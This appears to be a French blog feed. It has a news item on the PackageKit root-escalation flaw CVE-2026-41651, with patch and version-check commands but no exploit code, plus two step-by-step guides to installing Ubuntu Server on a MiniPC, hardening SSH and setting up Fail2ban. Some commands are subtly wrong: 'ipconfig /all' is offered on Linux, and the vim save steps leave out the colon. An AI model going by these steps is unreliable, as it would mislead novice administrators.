Si vous tournez sur Ubuntu, Debian, Fedora ou RockyLinux, sachez que votre démon PackageKit a passé presque 12 ans à laisser une porte ouverte vers votre compte root. La Deutsche Telekom Red Team vient en effet de publier Pack2theRoot (CVE-2026-41651), une faille notée 8.8/10 qui permet à n'importe quel utilisateur local de devenir root sans mot de passe.
Pour corriger le soucis, mettez à jour vers PackageKit 1.3.5 ou le backport de votre distro. Pour vérifier votre version, c'est dpkg -l | grep -i packagekit sous Debian/Ubuntu, ou rpm -qa | grep -i packagekit côté Fedora et Rocky. Si vous êtes en 1.3.4 ou en dessous, considérez la machine comme exploitable.
Le bug est une race condition classique. En fait PackageKit vérifie vos droits, valide la transaction, mais utilise des données qui ont eu le temps de changer entre les deux. Un appel pkcon install bien chronométré et n'importe quel paquet s'installe en root, sans prompt
Polkit
. La liste des distros confirmées vulnérables couvre Ubuntu 18.04 à 26.04, Debian Trixie, RockyLinux 10.1, Fedora 43 et tout RHEL avec Cockpit.
Le détail marrant encore une fois c'est la méthode de découverte. La Telekom Red Team a tout simplement dirigé Claude Opus d' Anthropic vers la base de code de PackageKit, et c'est cette session d'audit assistée par IA qui a sorti la vuln. Les LLM commencent donc à trouver des bugs subtils que les audits humains ont laissé passer pendant plus d'une décennie. Tant mieux, ça va faire grimper le niveau de sécurité de nombreux projets !
Cette faille ancienne me rappelle BitPixie et son contournement de BitLocker resté en sommeil durant 20 ans. Le pattern est toujours le même, à savoir un composant système installé partout, qui cache un bug tout bête depuis siiii longtemps que plus personne ne l'audite avec un œil neuf.
Bref, merci Claude ^^
![]()
![]()
![]()
Avoir un serveur sur un MiniPC c’est bien, l’ouvrir vers l’extérieur c’est mieux. Si des usages locaux sont évidemment nombreux, le véritable intérêt d’un serveur est de proposer des usages en ligne, accessibles depuis n’importe quel point du globe avec une simple connexion internet. Fail2Ban permet de repousser les attaques de base.
![]()
Au sommaire de cette seconde partie, nous allons reprendre le travail effectué lors de l’installation du serveur en décembre et le compléter. La première étape consistera à installer Fail2ban pour sécuriser le système. Puis nous ouvrirons l’accès au serveur sur Internet. Une fois cela fait, nous pourrons installer la plateforme Docker et enfin profiter de celui-ci pour installer facilement un premier service en déployant Adguard.
Avant de rendre totalement accessible notre serveur sur internet, il est préférable de le protéger du mieux possible. Pour cela nous allons utiliser Fail2ban qui fait partie de la trousse à outils de base de tout serveur en ligne. L’idée de Fail2Ban est d’éviter les attaques les plus classiques des robots en ligne. Les attaques du type « bruteforce » qui vont simplement tenter de se connecter en essayant des listes et des combinaisons de mot de passe. Le principe de cette protection et simple, elle consiste à bannir l’adresse IP provenant d’un nombre déterminé de tentatives de connexion échouées. Si un robot tente, par exemple, trois mots de passe erronés, le serveur va empêcher son IP de recommencer pendant un certain temps. C’est une méthode assez classique et simple qui évitera les attaques les plus primitives.
Ne croyez pas que parce que vous êtes un particulier qui installe un serveur anonyme sur la toile vous n’allez pas subir de tentative d’intrusions. Des dizaines de milliers de robots se baladent en permanence en ligne à la recherche de la moindre faille possible pour tenter d’y pénétrer. Votre petit serveur perso subira les mêmes tentatives qu’un grand serveur d’entreprise.
Fail2ban se base sur des « logs » ou des journaux des différents outils logiciels disponibles. Ici, nous allons utiliser une règle qui concernera les connexions SSH. Cette règle est quasiment prête à l’emploi, ce qui est pratique, mais il est possible d’en faire des personnalisées ou de trouver d’autres exemples sur internet.
On va commencer par se connecter à notre serveur en SSH de la même manière que pendant la phase d’installation du serveur.
On ouvre un terminal depuis un PC sur le même réseau que son MiniPC/serveur et on pianote ssh kevin@192.168.1.214 -p 21422 en adaptant évidemment le login et l’IP en fonction des réglages effectués auparavant. Si vous avez suivi la première partie du guide, votre PC a déjà un login, une connexion SSH et une IP fixe.
Une fois cela fait, règle d’usage classique, on va charger la liste des mises à jour disponibles depuis la dernière connexion en pianotant sudo apt update.
![]()
Il y a logiquement un bon nombre de paquets à actualiser, on va donc le faire rapidement avec la commande :sudo apt upgrade.
![]()
Il suffit d’appuyer sur entrée pour poursuivre. Une règle existe pour ce type de question de la part du système : la lettre en majuscule proposée est celle qui sera validée par la touche entrée. Ici le « O » est en majuscule pour « Oui » et le « n » reste en minuscule pour « non ». On appuie donc sur entrée.
Le système se met rapidement à jour et nous allons pouvoir partir sur cette base « saine » pour installer Fail2ban. Ce n’est pas très complexe, on pianote :
sudo apt install fail2ban
![]()
On confirme notre intention d’installer le service avec la touche entrée. L’installation débute et se termine très rapidement. Une fois celle-ci terminée, il va falloir mettre en place une configuration adaptée à nos besoins. Pas besoin d’être un expert pour y arriver, on va se contenter pour le moment de partir sur les bases par défaut de l’outil. Pour cela, on va copier et coller le fichier de configuration fourni par défaut. Pour cela, on va utiliser la commande cp qui sert à copier des fichiers avec cette syntaxe : cp [Original] [Destination]. La destination indique l’endroit où le fichier original sera copié et sous quelle forme. Il est tout à fait possible de prendre un fichier et de changer son extension, c’est ce que nous allons faire ici
sudo cp /etc/fail2ban/jail.conf /etc/fail2ban/jail.local
Ici, on a pris le fichier « jail » ou « prison » avec une extension « .conf » qui correspond à la configuration standard et nous l’avons transformé en jail.local pour qu’il soit lu comme la configuration spécifique (locale) de notre serveur. Nous allons maintenant adapter cette configuration locale en éditant ce fichier avec l’ordre.
sudo vim /etc/fail2ban/jail.local
Une fois le fichier ouvert, il nous faut chercher une section particulière de son contenu. Pour cela, il y a une astuce toute bête dans l’éditeur de texte vim. On appuie sur la touche « slash » : / suivi directement du texte que l’on recherche. Vim prend alors le relais et affiche la première occurrence qu’il trouve. Évidemment, il ne faut pas être en train d’éditer le texte sinon le « / » s’inscrirait dans le fichier. Pour éviter cela il faut appuyer sur la touche ESC/Exhap située en haut à gauche de son clavier. Ici nous allons rechercher « sshd » et donc pianoter « /sshd » qui doit se trouver aux alentours de la ligne 274.
![]()
Une fois la séquence trouvée il faut enclencher le mode édition de Vim avec la touche « i ». On peut alors modifier le contenu de la section de la manière suivante :
[sshd]
enabled = true port = 21422 # Port SSH pour se connecter à notre serveur filter = sshd maxretry = 3 # Nombre d’essais autorisés avant de bannir l’IP bantime = 3h # Durée du bannissement findtime = 600 # Intervalle (en secondes) durant lequel les 3 tentatives doivent avoir lieu pour entrainer un bannissement. logpath = %(sshd_log)s # ne pas toucher backend = %(sshd_backend)s # ne pas toucher
![]()
Après modification, votre fichier édité doit ressembler à cela. Si tout est dans l’ordre, alors appuyez sur Echap pour arrêter l’édition du document, appuyez ensuite sur w pour écrire (write) le fichier et donc le sauvegarder. Puis sur q pour quitter vim.
Pour que le système prenne en compte ces modifications, il faut redémarrer le service fail2ban. Pour cela on pianote :
sudo systemctl restart fail2ban
On vérifie ensuite que le service est bien en cours de fonctionnement avec la commande
sudo systemctl status fail2ban.service
Et on obtient normalement ceci :
![]()
Vous devez avoir un retour d’écran qui ressemble à la capture ci-dessus. Si c’est le cas c’est que Fail2ban fonctionne.
![]()
Si vous avez à l’écran un status indiquant « Failed » comme ci-dessus, il y a manifestement un problème. Pas de panique.
![]()
Jetez un coup d’œil au journal qui liste les informations (log), vous y découvrirez sûrement un souci de syntaxe dans votre fichier (ligne en double…). Ici par exemple, l’édition du fichier était mal exécutée, la ligne logpath était entrée deux fois… Après correction, on relance fail2ban et le problème est résolu.
![]()
Si vous avez sous la main une autre machine, vous pouvez tester de vous auto-bannir pour vérifier que le service est parfaitement fonctionnel. Après plusieurs essais de connexion, Fail2ban refuse la connexion depuis l’IP qui a été bannie. Ca fonctionne !
Pour récupérer l’IP bannie pour cet essai, vous pouvez lancer la commande :
sudo fail2ban-client unban 192.168.1.21
Il est aussi possible d’en bannir une manuellement avec la commande :
sudo fail2ban-client ban 192.168.1.21
Cela peut être pratique de configurer ainsi Fail2ban si vous repérez une IP aux agissements particuliers.
Pour pouvoir accéder à l’ensemble des services qui seront mis à disposition sur le serveur, nous allons le rendre accessible sur internet. Pour cela nous allons d’abord utiliser une IP avant de simplifier la démarche en utilisant un nom de domaine.
L’ensemble de ces manipulations est beaucoup plus simple si votre fournisseur propose une adresse IP fixe. Certains fournisseurs d’accès proposent cela par défaut comme Bouygues. Free demande une petite manipulation détaillée ici. Chez SFR et Orange, c’est une option. Si votre opérateur ne propose pas cette option il faudra utiliser un service tiers. Un autre serveur en ligne qui fera le lien vers votre machine. Plusieurs sociétés proposent cela comme Cloudflare ou no-ip.com.
![]()
Ci-dessus vous pouvez voir le principe de fonctionnement de notre recherche de serveur en ligne de manière très simplifiée. Même si des administrateurs système vont surement trouver que le schéma est trop simpliste, on comprend ici ce qu’il se produit lors d’une requête en ligne de ce type.
Depuis un navigateur, un internaute appelle la page garage.mondomaine.com. Un serveur de DNS va répondre à cet appel parce que cette adresse pointera chez lui. Il répondre au navigateur en lui disant d’aller voir une adresse IP précise, ici : 1.2.3.4 pour l’exemple. Cette adresse ne correspond pas à votre serveur directement mais plus globalement à votre point de destination, la ligne tout entière de votre fournisseur d’accès. Avec cette information en mémoire, le navigateur change donc de destination et va toquer à la porte de l’IP 1.2.3.4. Et donc de votre box internet. Il se présente comme un navigateur et interroge sur le serveur pour savoir où trouver la page correspondant à garage.mondomaine.com. Au passage, il montre patte blanche en indiquant qu’il propose une liaison sécurisée de type HTTPS sur le port 443.
La Box internet va interroger ses règles de transmission de portgénéralement indentifiées dans ses réglages comme du « port forwarding ». Si une règle s’applique à cette requête, alors elle exécutera le transfert des données. Comme nous allons indiquer à la Box de transférer toutes les requêtes du port 443 vers le serveur que nous avons monté. Les informations en HTTP non sécurisées se feront via le port 80 qui sera également piloté par la Box.
Sur le serveur maison, il va falloir installer un outil baptisé « Caddy ». Une sorte de chef d’orchestre qui triera les requêtes de l’extérieur et les redirigera vers le bon service. On appelle cela un « Reverse proxy ». Caddy pilotera les différentes enquêtes vers des services intégrés dans une sorte de portefeuille de services piloté par un autre outil logiciel appelé « Docker ». Ce dernier fournira une réponse qui remontera ensuite de Caddy vers lme routeur puis du roteur au navigateur.
![]()
Imaginez que vous appellez un standard pour avoir en ligne Marcel Machin, le responsable réparation de la société Mongarage SARL (l’équivalent de votre serveur) au téléphone. Vous décrochez votre combiné, comme vous ne connaissez pas le numéro vous demandez un opérateur (Le serveur DNS), vous lui dites que vous voulez telle société, l’opérateur regarde dans son annuaure et vous met en ligne (indication de l’IP). Là vous tombez sur une personne qui décroche au standard (votre BOX), vous lui dites a qui vous voulez parler, elle vous passe l’atelier ou une personne décroche (Caddy) avant de gueuler « MARCEL, TELEPHONE » (Le service Docker voulu). Marcel répond « Allô, non pour demain c’est pas possible » et vous etes connecté.
Il va falloir monter ces services sur le serveur. Cela a l’air compliqué mais pas de panique. Avec un peu d’aide c’est à la portée de tout le monde. Voilà ce qu’il nous reste a faire :
Et nous verrons cela dans le prochain épisode qui ne devrait pas tarder.
A propos de Kevin :
Kevin est développeur et formateur indépendant php et spécialisé sur le CMS Drupal. Il aime bidouiller des infrastructures cloud mais aussi plus traditionnelles comme un bon vieux petit serveur dans son garage… Vous pouvez en savoir plus sur son travail sur le site kgaut.net. Il est par ailleurs présent sur Mastodon à l’adresse @Kgaut
Guide : protéger son serveur personnel Linux avec Fail2ban © MiniMachines.net. 2026
![]()
Cela fait longtemps que j’ai envie de publier un guide détaillant étape par étape comment installer un serveur sur MiniPC. Kevin m’en offre l’opportunité avec une approche détaillée nourrie de son expérience. Ce guide, rédigé à quatre mains, vous propose de profiter d’un serveur de données parfaitement fonctionnel, efficace et économique.
Un MiniPC totalement passif, l’idéal pour ce genre de mission puisqu’il ne va générer aucun bruit.
Si les craintes sont toujours grandes devant les efforts à accomplir, il est en réalité devenu assez simple d’héberger son propre petit serveur chez soi. S’il reste des étapes intermédiaires impossibles à dépasser et qui exigeront des compétences techniques extérieures à ce guide : comme l’ouverture d’un port sur son routeur. Le reste ne demande que de suivre les instructions à la lettre. D’un point de vue matériel pur, la chose est devenue triviale. Dans un placard ou dans un garage, dans une gaine technique pas loin de sa box opérateur, il suffit d’un MiniPC. L’investissement est minimal, les minimachines sont abordables et ne consomment pas grand chose. En quelques heures de temps, dans le pire des cas, pour une facture électrique minimale, il est possible de remplacer de nombreux services externes avec un engin personnel. C’est donc assez simple, rapide et économique. En plus de cela, la démarche vous libère de frais récurrents qui vous lient à des services externes.
![]()
Les usages d’un serveur personnel sont multiples et peuvent se combiner entre eux. On pense d’abord à l’hébergement de ses propres pages web. Si ce n’est plus vraiment l’usage le plus répandu, ce fut longtemps le vrai moteur de cette pratique. L’auto-hébergement étant bien moins couteux pour de petites structures associatives ou des artisans locaux que de louer un serveur externe. Aujourd’hui, il est devenu facile de proposer une page personnelle ou un petit site web sur la toile avec un simple PC classique.
Le choix d’un serveur personnel offre bien d’autres avantages à l’utilisateur. Cela permet par exemple de faire disparaitre la publicité sur tous les appareils connectés sur votre réseau avec Adguard Home. Ordinateurs, tablettes, téléphones, télévisions connectées éviteront de subir ce fléau débilitant. L’installation de multiples services de manière très simple permettra en outre de piloter de nombreux outils. Diffusion de vidéos et de musiques centralisées sur tout son réseau, automatisation de tâches avec N8N, gestion de mots de passe avec Vaultwarden, téléchargement automatisé avec Radarr, gestion des finances avec ActualBudget… Et mille autres emplois véritablement à la carte proposés par ce type de solution.
Pour de multiples raisons, l’installation se fera autour de la distribution Linux Ubuntu Server LTS 24.04. Le choix de cette distribution est pragmatique. Ubuntu est gratuit, mature et accessible. Il dispose d’énormément de documentation et de ressources en ligne. De quoi vous permettre de poursuivre au-delà de ce guide en répondant facilement à vos propres demandes et même de vous dépanner en cas de souci technique spécifique.
La version « Server » désigne une orientation spécifique d’Ubuntu. Une solution plus légère que la version classique qui ne fournit pas d’environnement graphique comme un bureau par exemple. Tout se fait en ligne de commande avec l’avantage d’une grande vélocité même sur de petites configurations. L’indication LTS est un acronyme « Long Time Support » qui indique une durée de mises à jour de sécurité qui va jusqu’à 5 ans. L’indication « 24.04 » indique simplement le numéro de cette version d’avril 2024.
Le Beelink MINI-S13 est un bon compromis pour un Mini serveur.
Le choix est très large puisque n’importe quel MiniPC moderne devrait faire l’affaire. Le minimum requis est un processeur pas trop gourmand, 4 Go de mémoire vive et 128 Go de stockage. Un bon compromis est une solution de type Intel N100/N150 avec 8 ou 16 Go de mémoire vive et 256 Go de stockage de type SSD. Ce choix permet d’avoir un engin performant, économe en énergie et peu bruyant. Plus votre minimachine aura de mémoire vive, plus elle pourra assurer de tâches en parallèle. Plus le stockage sera important, plus il sera possible de stocker des données (films, musique, téléchargements). Il sera bien sûr possible d’ajouter des stockages externes au besoin.
![]()
Il est plutôt déconseillé d’utiliser un « vieux PC » classique ou même un PC de type serveur à recycler. Ces engins seront probablement plus puissants mais au détriment de leur consommation, de leur encombrement et de leur bruit. Pour les tâches à accomplir, une minimachine basique fera mieux l’affaire ne serait-ce que d’un point de vue facture électrique. Le Beelink S13 est typiquement un bon choix parce qu’il propose deux solutions de stockage, un port Ethernet 2.5 Gigabit, une construction robuste et qu’il affiche en plus des fonctions particulièrement appréciables comme la possibilité de redémarrer automatiquement à la reprise de son alimentation après une panne de courant.
![]()
Avec un processeur Intel N150 il coute environ 250€ en version 12/500 Go en ce moment.
Premier élément, on l’a vu, un MiniPC. Il doit être prêt à l’emploi. C’est-à-dire complet et fonctionnel, prêt à démarrer. Il doit également être connecté à votre réseau local et donc à Internet. Pour réaliser l’installation du serveur, il faudra temporairement lui ajouter un écran et un clavier.
Deuxième élément, une clé USB vierge pour accueillir le système Linux afin de l’installer sur le MiniPC. Une clé de 4 Go suffira, essayez d’en choisir une en USB 3.0 minimum pour une installation rapide. Pour ma part j’ai un faible pour les Sandisk en métal. Ce ne sont pas les plus rapides mais elles sont extrêmement robustes. N’achetez pas une clé « 4 Go » car une fois l’installation terminée, vous pourrez réemployer la clé à autre chose. Un modèle 64 Go à 11-12€ sera un meilleur investissement. Si vous avez déjà une clé « publicitaire » ou autre de 4 Go, même lente, elle fera bien l’affaire.
Il vous faudra par ailleurs vous renseigner auprès du fabricant de votre routeur ou du distributeur de votre BOX ADSL/Fibre pour rediriger un port. Cette démarche étant dépendante de chaque matériel, il est impossible de proposer un guide vraiment détaillé. Une recherche avec les mots clés adaptés « port forwarding marque du routeur référence » ou « redirection port box nom-de-l-operateur » devrait vous aiguiller pour parvenir à vos fins. Vous trouverez néanmoins plus bas toute l’aide disponible pour parvenir à vos fins.
Certains éléments seront tout à fait optionnels mais ajouteront des fonctionnalités supplémentaires, comme l’exploitation d’un nom de domaine ou d’un sous-domaine. Si vous avez acheté votre propre domaine, cela permettra de profiter d’une adresse plus simple à retenir. La possibilité d’avoir une IP fixe associée à votre machine est également importante. Là encore, une multitude de guides et d’informations sont disponibles au cas par cas et le guide vous donnera des clés.
![]()
Le travail d’installation est toujours le même : il faut d’abord télécharger le système à installer, le déplacer vers une clé USB en suivant un protocole spécifique, puis glisser la clé dans la machine que l’on veut installer. Pour mener cette tâche à bien on va commencer par télécharger Ubuntu en suivant ce lien. La page https://ubuntu.com/download/server propose d’autres options de téléchargement, en torrent notamment. À la fin de ce téléchargement, vous allez récupérer une image « ubuntu-xx.xx.x-live-server-amd64.iso » sur votre machine.
Pour le transfert de cette image vers votre clé USB afin que l’installation se lance vous avez plusieurs méthodes. Si votre PC habituel est sous Linux vous pouvez utiliser l’utilitaire Gnome Disks que vous pourrez installer sous la plupart des distributions via le paquet gnome-disk-utility. Lancez le et suivez les instructions pas à pas. Si votre PC est sous Windows, vous pouvez utiliser l’utilitaire Rufus que nous avons déjà croisé. Téléchargez-le en version portable ou installable et lancez-le. Puis, insérez la clé USB qui servira à monter l’image d’Ubuntu dans votre machine, si possible sur un port USB 3.0.
![]()
Un écran de ce type apparait. Cliquez en 1 pour bien sélectionner la clé USB que vous venez d’insérer et sur laquelle seront poussés les fichiers d’Ubuntu. Attention à choisir la bonne cible, Rufus va choisir par défaut des périphériques USB mais vérifiez bien qu’il s’agit du bon pour ne pas effacer de données. En 2 vous allez trouver l’image d’Ubuntu Server que vous avez téléchargée. Cliquez sur « sélection » et pointez vers le fichier « ubuntu-xx.xx.x-live-server-amd64.iso ». Cela affichera le même type de démarrage que sur l’image ci-dessus. En 5 vous avez d’ailleurs un rappel de l’image utilisée.
En 3 vous pouvez modifier le nom du volume, ce n’est absolument pas nécessaire mais cela peut vous aider à reconnaitre la clé. En 4 Rufus vous indique si tout est prêt pour lancer l’opération : la clé est bien identifiée par le système, l’image d’Ubuntu est chargée, il vous suffit de cliquer sur démarrer et de patienter pendant le transfert des données. Cela va prendre plus ou moins de temps suivant la vitesse de votre clé USB. Une fois l’opération terminée, enlevez la clé de votre PC et insérez-la dans votre MiniPC/futur serveur.
![]()
Pour que votre MiniPC choisisse de lancer la clé USB et non pas son propre stockage, il va falloir entrer dans son BIOS en pianotant frénétiquement sur une touche dès le tout début du démarrage de la machine. Là encore, pas de solution miracle, la documentation technique de votre machine devrait vous indiquer quelle touche choisir. En général il s’agit de F1, de Suppr ou de Echap.
Une fois dans le BIOS, allez dans l’onglet BOOT (ou toute variation parlant de BOOT ou de démarrage) comme en 1 et repérez l’ordre des priorités de démarrage. Choisissez l’USB en Boot Option #1 comme visible ici en 2. Il est fort possible que votre machine identifie la clé par son nom et indique dans la liste « Ubuntu Server » ce qui facilitera le réglage. Appuyez ensuite sur la touche indiquée en 3 pour sauvegarder. Dans cet exemple, il s’agit de la touche F4. Allez ensuite sur l’onglet « Exit » en général tout à droite sur la barre supérieure en 4. Puis cliquez sur la touche indiquée pour sauvegarder vos réglages et sortir du BIOS. La machine va redémarrer sur la clé et passer à la suite des opérations.
![]()
Premier problème à résoudre pour installer un serveur sur MiniPC, il faut lui trouver un nom ! Cela parait anodin mais c’est une étape importante puisque c’est ce nom qu’il va falloir retenir et partager avec famille, amis et contacts. Évitez donc les noms barbares et complexes mais peut être également les choses crues. Vous ne voulez pas épeler au quotidien Pléistocène ni avouer que votre serveur s’appelle kékédu78. Vous aurez par ailleurs besoin de ce nom pour accéder à votre serveur depuis l’extérieur. Pensez-y donc dès maintenant.
Pour réaliser ce guide, Kevin a choisi comme nom de serveur « garage » et comme sous-domaine « garage.kgaut.net ». kgaut.net étant un nom de domaine lui appartenant. Un service installé deviendra donc un sous-domaine de ce sous-domaine. Par exemple service.garage.kgaut.net. Cela reste simple et lisible, facile à retenir.
![]()
Une fois le MiniPC démarré avec la clé contenant Ubuntu, celle-ci est lue et vous propose cet écran pour passer à la suite. Pressez simplement la touche Entrée de votre clavier, le système va démarrer sur Ubuntu, cela peut prendre quelques minutes puis vous devriez arriver sur l’écran suivant.
![]()
La navigation durant toute l’installation se fera uniquement au clavier. Avec la touche tabulation ⇥ à gauche de votre clavier pour passer d’un champ à l’autre. Les flèches serviront à naviguer entre les options. La touche espace permettra d’activer et de désactiver une case à cocher et la touche Entrée validera vos choix. Choisissez donc votre langue favorite et faites Entrée, vous arriverez sur le choix de la disposition du clavier.
![]()
La disposition French / French correspond aux claviers AZERTY « classiques » disponibles en France. à l’aide de la touche tabulation naviguez ensuite jusqu’à « Terminé » et faites Entrée pour basculer sur le choix du type d’installation.
![]()
Nous allons installer une configuration par défaut, il suffira donc de faire Entrée pour arriver à la partie configuration réseau.
![]()
Si vous êtes en Ethernet, si votre MiniPC est directement branché avec un câble réseau sur votre BOX opérateur par exemple, la configuration réseau devrait être automatique. C’est la solution la plus simple. Si vous avez un module sans fil Wi-Fi, c’est également ici que vous pourrez scanner les réseaux disponibles afin d’en choisir un pour vous y connecter.
![]()
Une fois la connexion établie, faites Entrée pour configurer un éventuel proxy. Pour simplifier les choses, nous allons partir du principe que vous n’en avez pas et continuer sur une configuration standard. Laissez donc l’option Proxy vide et choisissez de passer à la suite en faisant « Terminé ».
![]()
Vient l’étape du choix du miroir. Ce nom désigne le serveur d’où seront téléchargés les éléments nécessaires pour assurer l’installation du système. Normalement, celui par défaut convient parfaitement, vous pouvez presser Entrée pour la configuration suivante.
![]()
Il s’agit de la gestion du stockage sur la machine. A priori là encore les options par défaut sont parfaites. Cela permet au système d’employer la totalité du stockage en créant un « groupe LVM » c’est à dire un système de volume logique. Cela permettra de partitionner plus facilement le stockage existant. Il vaut mieux éviter de chiffrer sa partition avec l’option « Encrypt the LVM group with LUKS ». Le souci de cette option est que cela oblige de pianoter un mot de passe au démarrage du MiniPC. Or nous n’allons probablement pas garder de clavier attaché à celui-ci.
![]()
L’étape suivante est un simple récapitulatif des choix faits pour le stockage. En cas d’erreur, vous pouvez retourner en arrière ou simplement choisir Terminé pour lancer l’installation.
![]()
Le système vous demandera alors votre nom d’utilisateur, le nom de votre serveur et autres mots de passe. Ce dernier doit être robuste car il sera nécessaire pour tous les réglages futurs de votre serveur Ubuntu. Pas question d’employer des classiques comme 1234, password ou Louvre par exemple.
![]()
L’étape suivante vous invite à activer Ubuntu pro, une option qui offre un support plus long avec 15 ans de mises à jour. Cette option est gratuite pour une utilisation non commerciale limitée à 5 postes et payante pour un usage pro. Elle n’est pas forcément nécessaire pour un serveur de ce type, on pourra faire évoluer la machine facilement vers d’autres versions d’Ubuntu manuellement. Vous pouvez donc l’ignorer ou l’activer suivant votre profil.
![]()
Vous voilà sur une partie cruciale du dispositif, sa configuration SSH. C’est par ce biais que vous pourrez prendre le contrôle de votre machine dans le futur. Installer un serveur sur MiniPC se fait en direct avec un écran et un clavier mais à terme, le MiniPC sera seul et sans interfaces. Il faudra alors le piloter via une autre machine grâce à cette configuration SSH. Cela permettra notamment d’utiliser des clés d’authentification plus pratiques que des mots de passe à rallonge.
Choisissez donc d’activer l’installation du serveur OpenSSH en cochant la case à l’aide de la touche Espace une fois que vous l’avez en mis en focus avec la touche tabulation1. L’interface nous propose d’ajouter immédiatement une clé SSH, ce n’est pas la peine. Il sera plus confortable de le faire plus tard.
Passez donc à l’étape suivante en choisissant Terminé.
![]()
Le système propose ensuite d’installer des outils par défaut. Vous pouvez passer cette étape et aller à la suite.
![]()
Le système se déploie ensuite progressivement sur le stockage du MiniPC. Suivant votre port et votre clé USB cela peut prendre plus ou moins de temps.
![]()
Quand l’installation est terminée, le système vous invite à redémarrer le MiniPC. Choisissez cette option. La machine va vous demander de retirer la clé USB de votre MiniPC pour ne pas redémarrer dessus puis le système va ensuite se relancer. Cette fois-ci sous Ubuntu Serveur. Bravo, vous avez terminé cette première phase.
![]()
Le premier écran est… sobre. Le système vous demande simplement de vous identifier avec les éléments indiqués en amont : nom d’utilisateur et mot de passe. Une fois que vous aurez montré patte blanche, vous pourrez passer à la suite.
![]()
/!\ Il est possible de copier-coller les lignes de commande dans votre terminal avec la combinaison de touches Ctrl + Shift + v /!\
La première étape consiste à installer les éventuelles mises à jour de l’ensemble des paquets du système. Pour cela deux lignes de commandes très simples :
Pour le chargement des mises à jour disponibles, pianotez : sudo apt update
Pour le lancement de ces mises à jour : sudo apt upgrade
Cette fameuse commande sudo est une indication pour le système que vous voulez éxecuter quelque chose. Elle résume l’ordre « Super User DO » qui indique que vous avez le droit de le faire en tant qu’administrateur du serveur. C’est pour cette raison qu’Ubuntu va systématiquement vous demander votre mot de passe afin d’exécuter l’action. L’air de rien, vous pouvez déjà ajouter « Admin Linux » dans votre CV.
![]()
Le système liste ensuite les opérations qu’il va effectuer, vous demande de confirmer en appuyant sur O et entrée. Une fois cela fait, on peut passer à la suite.
![]()
Pour pouvoir piloter le MiniPC à distance, il va falloir tester sa connexion SSH. C’est seulement après cette étape qu’il sera possible de débrancher clavier et écran. La première chose à faire consiste donc à connaitre l’IP de la machine, c’est-à-dire son adresse sur votre réseau local. On utilise pour cela la commande ip -c a
Celle-ci va révéler l’IP de la machine. Ici l’IP est 192.168.1.214, chez vous ce sera très probablement différent. Cela dépend de chaque réseau local. À ce stade, personne ne peut accéder à votre machine directement depuis internet.
![]()
Depuis un autre PC, ouvrez un terminal2 depuis une autre machine reliée au même réseau que votre nouveau serveur et tapez la commande : ssh USER@IP
Dans le cas présent cela donne : ssh kevin@192.168.1.214
Il est possible que lors de votre première connexion vous ayez un avertissement car c’est la première fois que vous vous connecterez à cette machine en SSH. Validez puis entrez votre mot de passe et vous serez alors connecté. Vous pourrez ainsi exécuter exactement les mêmes actions que dans les premières étapes de ce guide. Mais en étant à distance depuis votre machine habituelle. C’est magique !
L’IP de votre serveur est attribuée d’office par votre routeur ou votre box internet. Cela pose un problème assez classique. Cette source peut décider de changer cette adresse après un redémarrage par exemple. Or, comme on l’a vu, elle est désormais nécessaire pour se connecter en SSH et prendre le contrôle du MiniPC. Il faut donc définir une IP et la « fixer ». Il est évidemment impossible de présenter une solution pour toutes les configurations de Box proposées par les opérateurs ou des routeurs de l’ensemble des fabricants. Le plus simple est donc de donner en pâture à votre moteur de recherche favori des mots clés choisis comme « assigner IP fixe [Modèle de Box] » pour trouver comment faire. De nombreux guides sont disponibles mais tous varient en général autour des mêmes thèmes. Il faut se connecter à sa Box via son navigateur internet. S’identifier, aller dans la gestion des réseaux et chercher les options DHCP / IP Fixe.
Un exemple de configuration dans un routeur
Pour ce qui est de l’adresse IP en elle-même, vous pouvez choisir ce que vous souhaitez si cela peut vous aider à la mémoriser. Le plus simple est tout de même de garder celle qui a été affectée automatiquement par le serveur.
![]()
Certains routeurs demandent d’affecter chaque adresse IP Fixe à une adresse MAC. Cette dernière est unique et sert de signature pour votre matériel. C’est une sorte de N° de série unique pour chaque produit. Là encore, des guides sont disponibles sur Internet pour trouver l’adresse MAC de votre MiniPC Serveur facilement en pianotant une ligne de commande. Avec ipconfig /all vous allez trouver son adresse MAC à la ligne Physical Adress. Cela ressemblera à quelque chose comme 5E:FF:56:A2:AF:15. En faisant pointer l’adresse IP Fixe de votre routeur vers l’adresse MAC vous lui expliquez ce qu’il doit faire du trafic qui pointe vers cette IP.
Une fois cette étape passée, vous pouvez être fier de vous. Vous pourrez dire que vous savez installer un serveur sur MiniPC. Vous allez pouvoir débrancher le clavier et l’écran de la machine et la positionner où bon vous semble.
![]()
L’emploi d’une connexion SSH est déjà sécurisé, c’est un protocole robuste. Mais pour améliorer les choses nous allons effectuer plusieurs réglages. Il est tout à fait possible de ne pas suivre à la lettre toutes ces recommandations. Elles sont indépendantes et facultatives, il est cependant recommandé de les effectuer. Ce n’est pas très long et bien plus sécurisant.
![]()
Le port SSH classique est le port 22. C’est une règle d’installation commune sur la majorité des systèmes. Ce qui est un indice important pour toute personne cherchant à pénétrer votre réseau. En laissant ce port sur 22 par défaut, vous leur indiquez tout simplement la voie à suivre pour tenter de percer votre mot de passe. C’est par ce port par défaut que viendront la plupart des tentatives d’attaque. Il est donc très intéressant de le changer pour un port moins classique.
Pour l’exemple, nous allons basculer ce port 22 vers le port 21422. Pour cela on va modifier la configuration de openssh
Sur votre ligne de commande pianotez sudo vim /etc/ssh/sshd_config
vim est un éditeur de texte disponible depuis le terminal qui va permettre de modifier ce fichier sshd_config de manière à lui indiquer un nouveau port. Ainsi, une fois ouvert, le fichier vous indique sur sa ligne 23 : #Port 22
Passez vim en mode insertion en appuyant sur la touche i, enlevez le # de la ligne pour activer l’ordre d’indiquer un port précis puis changez 22 par 21422
Vous aurez donc désormais à la place de #Port 22 une ligne qui se résume en Port 21422
Appuyez sur Echap pour arrêter l’édition du document, appuyez ensuite sur w pour écrire (write) le fichier et donc le sauvegarder. Puis sur q pour quitter vim.
![]()
Vérifiez que le nouveau port est correctement renseigné en pianotant cat /etc/ssh/sshd_config | grep "Port"
Si tout est correct, vous pouvez redémarrer le service SSH en indiquant sudo systemctl restart ssh
Ouvrez alors un second terminal sans fermer le premier, il est recommandé d’utiliser un autre terminal en plus de celui déjà connecté. Comme cela, en cas de souci de configuration, vous ne serez pas coincé en dehors de votre serveur. Après un redémarrage, votre prochaine connexion en SSH exigera la précision du nouveau port choisi puisque Ubuntu Server n’utilisera plus le port par défaut.
